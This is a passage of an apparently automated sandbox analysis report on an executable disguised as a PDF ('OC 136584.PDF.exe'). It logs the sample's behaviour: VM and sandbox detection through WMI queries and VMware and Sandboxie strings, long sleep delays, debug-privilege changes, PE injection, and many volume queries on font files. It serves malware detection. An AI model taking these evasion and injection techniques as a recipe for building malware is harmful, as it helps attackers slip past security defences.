Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.262887194.000000000254D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OC 136584.PDF.exe PID: 6736, type: MEMORY
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.2539e90.1.raw.unpack, type: UNPACKEDPE

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Window / User API: threadDelayed 3285			Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Window / User API: threadDelayed 6518			Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe TID: 6740	Thread sleep time: -99304s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe TID: 6740	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe TID: 6756	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe TID: 6824	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe TID: 6804	Thread sleep count: 3285 > 30	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe TID: 6804	Thread sleep count: 6518 > 30	Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Code function: 6_2_007E20C0 LdrInitializeThunk,

6_2_007E20C0

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Memory written: C:\Users\user\Desktop\OC 136584.PDF.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe	Jump to behavior

Source: OC 136584.PDF.exe, 00000006.00000002.504657997.00000000014E0000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: OC 136584.PDF.exe, 00000006.00000002.504657997.00000000014E0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: OC 136584.PDF.exe, 00000006.00000002.504657997.00000000014E0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: OC 136584.PDF.exe, 00000006.00000002.504657997.00000000014E0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Users\user\Desktop\OC 136584.PDF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
